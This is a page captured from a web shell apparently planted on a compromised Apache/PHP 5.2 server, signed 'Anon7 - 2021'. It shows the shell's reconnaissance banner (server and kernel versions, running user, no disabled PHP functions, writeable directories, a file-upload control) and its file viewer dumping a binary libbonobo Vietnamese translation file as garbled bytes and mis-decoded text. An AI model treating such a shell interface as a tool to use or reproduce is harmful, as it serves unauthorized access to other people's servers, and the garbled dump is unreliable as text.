KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.17
System : Linux localhost 2.6.18-419.el5 #1 SMP Fri Feb 24 22:47:42 UTC 2017 x86_64
User : nobody ( 99)
PHP Version : 5.2.17
Disable Function : NONE
Directory :  /usr/share/locale/vi/LC_MESSAGES/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/locale/vi/LC_MESSAGES/libbonobo-2.0.mo
Þ•nŒ•üP	!Q	s	#	+±	*Ý	
 
2
!M
o
/‰
¹
,Ò
#ÿ
E#i9€º,Ö#2'Zw	ˆ&’$¹+Þ)

"4
W

o
z
‰
" 
Ã
Ý
"à
&5 \},½ê÷%.BUl%‰!¯ÑÖõ(!Jd#y¶Îåö9&U|—%´JÚF%El²Ñð	'"Fid…
êø@Qi‰&¨Ïî&;Vm"*¤(Ïø(;R'c6‹¬Â(o˜O³SWW¯Ì+ß6B0a’D¯9ôF.uC"Ô7÷)/ZY&´Û
ñ1ü4.7c2›3Î3
6DY)y*£Î=Ñ'.7,f:“)Î/ø-( V "c †  ± !Ï (ñ $!$?!&d!‹!!­!(¾!)ç!+"=",U"‚"%›")Á""ë",#;#K#DO#.”#,Ã#$ð#q$p‡$hø$Pa%%²%*Ø%&& 0&.Q&€&qž&'*-'ZX'³'6Î'"(>((g(†($£(È(Ü(û( )73)Sk)6¿)ö)$* 4*U*m*Cˆ*DÌ*\Z:JQ)-$d1R(D6i98+PU0Ek?njG&BaV.]7e@"2cSTA'<
4ghfb/W,
IYl KF_#!=[^N*LX3mOM`>	H5;%C%s already in configuration file
An exception occured '%s'An unsupported action was attemptedAn unsupported storage action was attemptedAn unsupported stream action was attemptedApplication unique nameBonobo ActivationBonobo Echo server factoryBonobo Echo server sample programBonobo activation optionsBonobo-activation configuration file contains:
CORBA CosNaming service.Can't find symbol Bonobo_Plugin_info in `%s'Cannot activate object from factoryChild process did not give an error message, unknown failure occurredCommand is insensitiveCould not create an instance of the sample echo componentCould not initialize BonoboCould not parse badly formed XML document %sCould not save configuration file.
Couldn't find which child the server was listed inCouldn't spawn a new processCustom CORBA POADIRECTORYDirectory to add to configuration fileDirectory to read .server files fromDirectory to remove from configuration fileDisplay directories in configuration fileDisplay path to configuration fileEOF from child process
EXPRESSIONEcho componentEcho component factoryError checking error; no exceptionException activating '%s'FDFactory `%s' returned NIL for `%s'Failed to activate '%s'Failed to activate objectFailed to read from child process: %s
Failed to resolve, or extend '%sFile descriptor to print IOR onFile descriptor to write IOR toGeneral activation error with no descriptionHTTP MonikerI could not initialize BonoboIID to activateIO ErrorIO Error on storageIO Error on streamInvalid argument valueMoniker activation timed outMoniker has an unknown moniker prefixMoniker interface cannot be foundNameName already exists in storageName serviceNo permission to access streamNo permission to do operation on storageNot a valid Activation IDNotification serviceNotification service for activationORB IOR handling monikerObject is not a storageObject is not a streamObject not foundObject not found in storagePATHPOAPlease, make sure you have permissions to write to '%s'.
Prevent registering of server with OAFProperty '%s' has no valueQuery expression to evaluateRace condition activating server '%s'Register as the users' activation server without locking [!] for debuggingRun '%s --help' to see a full list of available command line options.
Serve as an ActivationContext (default is as an ObjectDirectory only)Shlib `%s' didn't contain `%s'Show Bonobo Activation optionsStandard Moniker factoryStorage is not emptySuccessfully wrote configuration file.
Syntax error in object descriptionSyntax error within monikerThe Bonobo Activation configuration file was not read successfully. Please, check it is valid in: %sTrying dir %sUnknown command or verbWe don't handle activating shlib objects in a remote process yeta NULL iid is not validconfig database backend failed configuration file is:
    %s
g_module_open of `%s' failed with `%s'generic Oaf activation monikergeneric Oaf query monikergeneric factory 'new' monikergeneric item monikeriid %s has a NULL locationiid %s has a NULL typeincorrect data typeinvalid character '%c' in iid '%s'invalid path to XML user interface elementmalformed user interface XML descriptionproperty has invalid typeproperty is read onlyproperty not foundstream MonikerExtenderstream not foundthe requested UI attribute didn't existthere is not a properly structured configuration file
Project-Id-Version: libbonobo Gnome HEAD
Report-Msgid-Bugs-To: 
POT-Creation-Date: 2006-04-16 22:54+0200
PO-Revision-Date: 2006-04-17 17:22+0930
Last-Translator: Clytie Siddall <clytie@riverland.net.au>
Language-Team: Vietnamese <gnomevi-list@lists.sourceforge.net>
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8bit
Plural-Forms: nplurals=1; plural=0
X-Generator: LocFactoryEditor 1.6b36
%s đã có trong tập tin cấu hình
Gặp ngoài lệ « %s »Má»™t hành Ä‘á»™ng không được há»— trợ đã được cố thá»±c hiệnMá»™t hành Ä‘á»™ng kho không được há»— trợ đã được cố thá»±c hiệnMá»™t hành Ä‘á»™ng luồng không được há»— trợ đã được cố thá»±c hiệnTên ứng dụng duy nhấtHoạt hóa BonoboBá»™ tạo trình phục vụ Vá»ng BonoboChÆ°Æ¡ng trình mẫu trình phục vụ Vá»ng BonoboTùy chá»n hoạt hóa BonoboTập tin cấu hình bonobo-activation chứa:
Dịch vụ CosNaming CORBA.Không thể tìm ký hiệu « Bonobo_Plugin_info » trong « %s »Không thể kích hoạt đối tượng từ bá»™ tạoTiến trình con không Ä‘Æ°a ra thông báo lá»—i, gặp lá»—i lạ.Lệnh không phản ứngKhông thể tạo ra thể hiện của thành phần vá»ng mẫuKhông thể khởi Ä‘á»™ng BonoboKhông thể phân tách tài liệu XML dạng sai %s.Không thể lÆ°u tập tin cấu hình.
Không thể tìm trình phục vụ có được liệt kê trong tiến trình con nào.Không thể tạo tiến trình má»›iCORBA POA tá»± chá»nTHƯ MỤCThÆ° mục cần thêm vào tập tin cấu hìnhThÆ° mục chứa tập tin « .server » cần Ä‘ocThÆ° mục cần gỡ bá» khá»i tập tin cấu hìnhHiện các thÆ° mục trong tập tin cấu hìnhHiện Ä‘Æ°á»ng dẫn đến tập tin cấu hìnhLá»—i kết thúc tập tin từ tiến trình con
BIỂU THỨCThành phần vá»ngBá»™ tạo thành phần vá»ngLá»—i kiểm tra; không có ngoại lệLá»—i (ngoại lệ) kích hoạt « %s »FDBá»™ tạo « %s » trả vá» NIL (số không) cho « %s »Việc kích hoạt « %s » bị lá»—iViệc kích hoạt đối tượng bị lá»—iLá»—i khi Ä‘á»c từ tiến trình con: %s
Việc phân giải hoặc mở rá»™ng « %s » bị lá»—iBá»™ mô tả tập tin nÆ¡i cần in IORBá»™ mô tả tập tin vào đó cần ghi IORLá»—i kích hoạt chung, không có mô tảMoniker HTTPKhông thể khởi Ä‘á»™ng BonoboIID cần kích hoạtLá»—i nhập xuấtLá»—i nhập xuất trên khoLá»—i nhập xuất trên luồngGiá trị đối số không hợp lệQuá thá»i khi kích hoạt MonikerMoniker có tiá»n tế moniker lạKhông tìm thấy giao diện MonikerTênTên này đã có trong khoDịch vụ tênKhông được phép truy cập luồngKhông được phép thao tác trên khoKhông phải là ID Hoạt hóa hợp lệDịch vụ thông báoDịch vụ thông báo cho sá»± hoạt hóaMoniker xá»­ lý ORB IORÄối tượng không phải là khoÄối tượng không phải là luồngKhông tìm thấy đối tượngKhông tìm thấy đối tượng trong khoÄƯỜNG DẪNPOAVui lòng kiểm tra lại có quyá»n ghi vào tập tin « %s ».
Tránh đăng ký trình phục vụ vá»›i OAFThuá»™c tính « %s » không có giá trịBiểu thức truy vấn cần tínhLá»—i race condition (Ä‘iệu kiện Ä‘a truy cập đồng thá»i) khi kích hoạt trình phục vụ « %s ».Äăng ký nhÆ° là trình phục vụ kích hoạt của các ngÆ°á»i dùng, không khoá [!] để gỡ lá»—iHãy chạy « %s --help » (trợ giúp) để xem danh sách các tùy chá»n dòng lệnh có sẵn.
Phục vụ nhÆ° là ActivationContext (mặc định chỉ là ObjectDirectory)Shlib « %s » không chứa « %s »Hiện các tùy chá»n Hoạt hóa BonoboBá»™ tạo Moniker chuẩnKho không rá»—ngGhi xong tập tin cấu hình.
Lá»—i cú pháp trong mô tả đối tượngLá»—i cú pháp trong MonikerChÆ°a Ä‘á»c thành công tập tin cấu hình hoạt hóa bonobo. Vui lòng kiểm tra nó hợp lệ trong: %sÄang thá»­ ra thÆ° mục %sKhông biết lệnh hay Ä‘á»™ng từ nàyChÆ°a thể xá»­ lý kích hoạt đối tượng « shlib » trong tiến trình từ xa.IID NULL không hợp lệlá»—i hậu phÆ°Æ¡ng cÆ¡ sở dữ liệu cấu hình tập tin cấu hình là:
    %s
« g_module_open » của « %s » thất bại vá»›i « %s »moniker kích hoạt Oaf chungmoniker truy vấn Oaf chungbá»™ tạo moniker « má»›i » chungmoniker mục chungIID %s có địa Ä‘iểm NULLIID %s có kiểu NULLkiểu dữ liệu không đúngký tá»± không hợp lệ « %c » trong IID « %s ».ÄÆ°á»ng dẫn không hợp lệ đến phần tá»­ giao diện ngÆ°á»i dùng XMLMô tả XML dạng sai cho giao diện ngÆ°á»i dùngthuá»™c tính sai kiểuthuá»™c tính chỉ cho phép Ä‘á»ckhông tìm thấy thuá»™c tínhluồng MonikerExtenderkhông tìm thấy luồngkhông có thuá»™c tính giao diện ngÆ°á»i dùng đã yêu cầukhông có má»™t tập tin cấu hình có cấu trúc thích hợp

Anon7 - 2021